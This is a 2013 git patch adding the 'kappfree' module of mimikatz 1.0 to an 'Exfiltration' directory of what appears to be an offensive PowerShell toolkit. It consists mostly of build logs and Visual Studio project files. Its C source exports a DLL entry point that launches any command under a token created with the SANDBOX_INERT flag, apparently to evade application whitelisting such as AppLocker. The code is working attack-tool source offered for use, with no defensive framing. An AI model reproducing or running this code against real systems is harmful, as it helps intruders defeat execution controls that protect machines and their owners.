From 59cd18360764af6e6133ad11ec9cd8295372e587 Mon Sep 17 00:00:00 2001 From: clymb3r Date: Tue, 1 Oct 2013 09:47:05 -0700 Subject: Adding Invoke-Mimikatz and Invoke-Ninjacopy --- .../mimikatz-1.0/kappfree/Win32/CL.read.1.tlog | Bin 0 -> 13668 bytes .../mimikatz-1.0/kappfree/Win32/CL.write.1.tlog | Bin 0 -> 528 bytes .../mimikatz-1.0/kappfree/Win32/cl.command.1.tlog | Bin 0 -> 1190 bytes .../Win32/kappfree.dll.intermediate.manifest | 10 ++ .../kappfree/Win32/kappfree.lastbuildstate | 2 + .../mimikatz-1.0/kappfree/Win32/kappfree.res | Bin 0 -> 788 bytes .../kappfree/Win32/kappfree.write.1.tlog | 5 + .../kappfree/Win32/link-cvtres.read.1.tlog | 1 + .../kappfree/Win32/link-cvtres.write.1.tlog | 1 + .../kappfree/Win32/link.command.1.tlog | Bin 0 -> 1510 bytes .../mimikatz-1.0/kappfree/Win32/link.read.1.tlog | Bin 0 -> 2184 bytes .../mimikatz-1.0/kappfree/Win32/link.write.1.tlog | Bin 0 -> 756 bytes .../mimikatz-1.0/kappfree/Win32/mt.command.1.tlog | Bin 0 -> 936 bytes .../mimikatz-1.0/kappfree/Win32/mt.read.1.tlog | Bin 0 -> 1094 bytes .../mimikatz-1.0/kappfree/Win32/mt.write.1.tlog | Bin 0 -> 574 bytes .../mimikatz-1.0/kappfree/Win32/rc.command.1.tlog | Bin 0 -> 628 bytes .../mimikatz-1.0/kappfree/Win32/rc.read.1.tlog | Bin 0 -> 2522 bytes .../mimikatz-1.0/kappfree/Win32/rc.write.1.tlog | Bin 0 -> 354 bytes Exfiltration/mimikatz-1.0/kappfree/kappfree.c | 34 ++++++ Exfiltration/mimikatz-1.0/kappfree/kappfree.h | 9 ++ Exfiltration/mimikatz-1.0/kappfree/kappfree.rc | Bin 0 -> 1912 bytes .../mimikatz-1.0/kappfree/kappfree.vcxproj | 119 +++++++++++++++++++++ .../mimikatz-1.0/kappfree/kappfree.vcxproj.filters | 12 +++ 23 files changed, 193 insertions(+) create mode 100644 Exfiltration/mimikatz-1.0/kappfree/Win32/CL.read.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/kappfree/Win32/CL.write.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/kappfree/Win32/cl.command.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/kappfree/Win32/kappfree.dll.intermediate.manifest create mode 100644 Exfiltration/mimikatz-1.0/kappfree/Win32/kappfree.lastbuildstate create mode 100644 Exfiltration/mimikatz-1.0/kappfree/Win32/kappfree.res create mode 100644 Exfiltration/mimikatz-1.0/kappfree/Win32/kappfree.write.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/kappfree/Win32/link-cvtres.read.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/kappfree/Win32/link-cvtres.write.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/kappfree/Win32/link.command.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/kappfree/Win32/link.read.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/kappfree/Win32/link.write.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/kappfree/Win32/mt.command.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/kappfree/Win32/mt.read.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/kappfree/Win32/mt.write.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/kappfree/Win32/rc.command.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/kappfree/Win32/rc.read.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/kappfree/Win32/rc.write.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/kappfree/kappfree.c create mode 100644 Exfiltration/mimikatz-1.0/kappfree/kappfree.h create mode 100644 Exfiltration/mimikatz-1.0/kappfree/kappfree.rc create mode 100644 Exfiltration/mimikatz-1.0/kappfree/kappfree.vcxproj create mode 100644 Exfiltration/mimikatz-1.0/kappfree/kappfree.vcxproj.filters (limited to 'Exfiltration/mimikatz-1.0/kappfree') diff --git a/Exfiltration/mimikatz-1.0/kappfree/Win32/CL.read.1.tlog b/Exfiltration/mimikatz-1.0/kappfree/Win32/CL.read.1.tlog new file mode 100644 index 0000000..574462d Binary files /dev/null and b/Exfiltration/mimikatz-1.0/kappfree/Win32/CL.read.1.tlog differ diff --git a/Exfiltration/mimikatz-1.0/kappfree/Win32/CL.write.1.tlog b/Exfiltration/mimikatz-1.0/kappfree/Win32/CL.write.1.tlog new file mode 100644 index 0000000..1393f52 Binary files /dev/null and b/Exfiltration/mimikatz-1.0/kappfree/Win32/CL.write.1.tlog differ diff --git a/Exfiltration/mimikatz-1.0/kappfree/Win32/cl.command.1.tlog b/Exfiltration/mimikatz-1.0/kappfree/Win32/cl.command.1.tlog new file mode 100644 index 0000000..05c99d0 Binary files /dev/null and b/Exfiltration/mimikatz-1.0/kappfree/Win32/cl.command.1.tlog differ diff --git a/Exfiltration/mimikatz-1.0/kappfree/Win32/kappfree.dll.intermediate.manifest b/Exfiltration/mimikatz-1.0/kappfree/Win32/kappfree.dll.intermediate.manifest new file mode 100644 index 0000000..ecea6f7 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/kappfree/Win32/kappfree.dll.intermediate.manifest @@ -0,0 +1,10 @@ + + + + + + + + + + diff --git a/Exfiltration/mimikatz-1.0/kappfree/Win32/kappfree.lastbuildstate b/Exfiltration/mimikatz-1.0/kappfree/Win32/kappfree.lastbuildstate new file mode 100644 index 0000000..4d28193 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/kappfree/Win32/kappfree.lastbuildstate @@ -0,0 +1,2 @@ +#v4.0:v100 +Release|Win32|C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\| diff --git a/Exfiltration/mimikatz-1.0/kappfree/Win32/kappfree.res b/Exfiltration/mimikatz-1.0/kappfree/Win32/kappfree.res new file mode 100644 index 0000000..416efb2 Binary files /dev/null and b/Exfiltration/mimikatz-1.0/kappfree/Win32/kappfree.res differ diff --git a/Exfiltration/mimikatz-1.0/kappfree/Win32/kappfree.write.1.tlog b/Exfiltration/mimikatz-1.0/kappfree/Win32/kappfree.write.1.tlog new file mode 100644 index 0000000..352791c --- /dev/null +++ b/Exfiltration/mimikatz-1.0/kappfree/Win32/kappfree.write.1.tlog @@ -0,0 +1,5 @@ +^C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\kappfree\kappfree.vcxproj +C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\Win32\kappfree.lib +C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\Win32\kappfree.lib +C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\Win32\kappfree.exp +C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\Win32\kappfree.exp diff --git a/Exfiltration/mimikatz-1.0/kappfree/Win32/link-cvtres.read.1.tlog b/Exfiltration/mimikatz-1.0/kappfree/Win32/link-cvtres.read.1.tlog new file mode 100644 index 0000000..46b134b --- /dev/null +++ b/Exfiltration/mimikatz-1.0/kappfree/Win32/link-cvtres.read.1.tlog @@ -0,0 +1 @@ +ÿþ \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/kappfree/Win32/link-cvtres.write.1.tlog b/Exfiltration/mimikatz-1.0/kappfree/Win32/link-cvtres.write.1.tlog new file mode 100644 index 0000000..46b134b --- /dev/null +++ b/Exfiltration/mimikatz-1.0/kappfree/Win32/link-cvtres.write.1.tlog @@ -0,0 +1 @@ +ÿþ \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/kappfree/Win32/link.command.1.tlog b/Exfiltration/mimikatz-1.0/kappfree/Win32/link.command.1.tlog new file mode 100644 index 0000000..cdc5689 Binary files /dev/null and b/Exfiltration/mimikatz-1.0/kappfree/Win32/link.command.1.tlog differ diff --git a/Exfiltration/mimikatz-1.0/kappfree/Win32/link.read.1.tlog b/Exfiltration/mimikatz-1.0/kappfree/Win32/link.read.1.tlog new file mode 100644 index 0000000..b97e650 Binary files /dev/null and b/Exfiltration/mimikatz-1.0/kappfree/Win32/link.read.1.tlog differ diff --git a/Exfiltration/mimikatz-1.0/kappfree/Win32/link.write.1.tlog b/Exfiltration/mimikatz-1.0/kappfree/Win32/link.write.1.tlog new file mode 100644 index 0000000..f8b3fd9 Binary files /dev/null and b/Exfiltration/mimikatz-1.0/kappfree/Win32/link.write.1.tlog differ diff --git a/Exfiltration/mimikatz-1.0/kappfree/Win32/mt.command.1.tlog b/Exfiltration/mimikatz-1.0/kappfree/Win32/mt.command.1.tlog new file mode 100644 index 0000000..be34103 Binary files /dev/null and b/Exfiltration/mimikatz-1.0/kappfree/Win32/mt.command.1.tlog differ diff --git a/Exfiltration/mimikatz-1.0/kappfree/Win32/mt.read.1.tlog b/Exfiltration/mimikatz-1.0/kappfree/Win32/mt.read.1.tlog new file mode 100644 index 0000000..23f6601 Binary files /dev/null and b/Exfiltration/mimikatz-1.0/kappfree/Win32/mt.read.1.tlog differ diff --git a/Exfiltration/mimikatz-1.0/kappfree/Win32/mt.write.1.tlog b/Exfiltration/mimikatz-1.0/kappfree/Win32/mt.write.1.tlog new file mode 100644 index 0000000..53b60f3 Binary files /dev/null and b/Exfiltration/mimikatz-1.0/kappfree/Win32/mt.write.1.tlog differ diff --git a/Exfiltration/mimikatz-1.0/kappfree/Win32/rc.command.1.tlog b/Exfiltration/mimikatz-1.0/kappfree/Win32/rc.command.1.tlog new file mode 100644 index 0000000..92ee084 Binary files /dev/null and b/Exfiltration/mimikatz-1.0/kappfree/Win32/rc.command.1.tlog differ diff --git a/Exfiltration/mimikatz-1.0/kappfree/Win32/rc.read.1.tlog b/Exfiltration/mimikatz-1.0/kappfree/Win32/rc.read.1.tlog new file mode 100644 index 0000000..6f2e9b0 Binary files /dev/null and b/Exfiltration/mimikatz-1.0/kappfree/Win32/rc.read.1.tlog differ diff --git a/Exfiltration/mimikatz-1.0/kappfree/Win32/rc.write.1.tlog b/Exfiltration/mimikatz-1.0/kappfree/Win32/rc.write.1.tlog new file mode 100644 index 0000000..c18037c Binary files /dev/null and b/Exfiltration/mimikatz-1.0/kappfree/Win32/rc.write.1.tlog differ diff --git a/Exfiltration/mimikatz-1.0/kappfree/kappfree.c b/Exfiltration/mimikatz-1.0/kappfree/kappfree.c new file mode 100644 index 0000000..63130c9 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/kappfree/kappfree.c @@ -0,0 +1,34 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "kappfree.h" + +extern __declspec(dllexport) void __cdecl startW(HWND hwnd, HINSTANCE hinst, LPWSTR lpszCmdLine, int nCmdShow) +{ + HANDLE monToken, monSuperToken; + wchar_t * commandLine; + PROCESS_INFORMATION mesInfosProcess; + STARTUPINFO mesInfosDemarrer; + + if(OpenProcessToken(GetCurrentProcess(), TOKEN_ASSIGN_PRIMARY | TOKEN_DUPLICATE | TOKEN_QUERY /*| TOKEN_IMPERSONATE*/, &monToken)) + { + if(CreateRestrictedToken(monToken, SANDBOX_INERT, 0, NULL, 0, NULL, 0, NULL, &monSuperToken)) + { + RtlZeroMemory(&mesInfosProcess, sizeof(PROCESS_INFORMATION)); + RtlZeroMemory(&mesInfosDemarrer, sizeof(STARTUPINFO)); + mesInfosDemarrer.cb = sizeof(STARTUPINFO); + + commandLine = _wcsdup(lpszCmdLine); + if(CreateProcessAsUser(monSuperToken, NULL, commandLine, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, &mesInfosDemarrer, &mesInfosProcess)) + { + CloseHandle(mesInfosProcess.hThread); + CloseHandle(mesInfosProcess.hProcess); + } + free(commandLine); + CloseHandle(monSuperToken); + } + CloseHandle(monToken); + } +} diff --git a/Exfiltration/mimikatz-1.0/kappfree/kappfree.h b/Exfiltration/mimikatz-1.0/kappfree/kappfree.h new file mode 100644 index 0000000..22ffbc2 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/kappfree/kappfree.h @@ -0,0 +1,9 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include + +extern __declspec(dllexport) void __cdecl startW(HWND hwnd, HINSTANCE hinst, LPWSTR lpszCmdLine, int nCmdShow); diff --git a/Exfiltration/mimikatz-1.0/kappfree/kappfree.rc b/Exfiltration/mimikatz-1.0/kappfree/kappfree.rc new file mode 100644 index 0000000..f08bc56 Binary files /dev/null and b/Exfiltration/mimikatz-1.0/kappfree/kappfree.rc differ diff --git a/Exfiltration/mimikatz-1.0/kappfree/kappfree.vcxproj b/Exfiltration/mimikatz-1.0/kappfree/kappfree.vcxproj new file mode 100644 index 0000000..ef29473 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/kappfree/kappfree.vcxproj @@ -0,0 +1,119 @@ + + + + + Release + Win32 + + + Release + x64 + + + + {E7A85049-E31E-4575-B6A0-E6F1EAA9EEB0} + Win32Proj + kappfree + + + + DynamicLibrary + false + true + Unicode + Static + + + DynamicLibrary + false + true + Unicode + Static + + + + + + + + + + + + + false + $(SolutionDir)$(Platform)\ + $(Platform)\ + + + false + $(SolutionDir)$(Platform)\ + $(Platform)\ + + + + Level3 + + + Full + true + true + WIN32;NDEBUG;_WINDOWS;_USRDLL;KAPPFREE_EXPORTS;%(PreprocessorDefinitions) + $(SolutionDir)/commun;$(SolutionDir)/modules + Size + true + false + Fast + false + false + None + + + Windows + false + true + true + advapi32.lib;%(AdditionalDependencies) + NoErrorReport + + + + + Level3 + + + Full + true + true + WIN32;NDEBUG;_WINDOWS;_USRDLL;KAPPFREE_EXPORTS;%(PreprocessorDefinitions) + $(SolutionDir)/commun;$(SolutionDir)/modules + Size + true + false + Fast + false + false + None + + + Windows + false + true + true + advapi32.lib;%(AdditionalDependencies) + NoErrorReport + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/kappfree/kappfree.vcxproj.filters b/Exfiltration/mimikatz-1.0/kappfree/kappfree.vcxproj.filters new file mode 100644 index 0000000..987362e --- /dev/null +++ b/Exfiltration/mimikatz-1.0/kappfree/kappfree.vcxproj.filters @@ -0,0 +1,12 @@ + + + + + + + + + + + + \ No newline at end of file -- cgit v1.2.3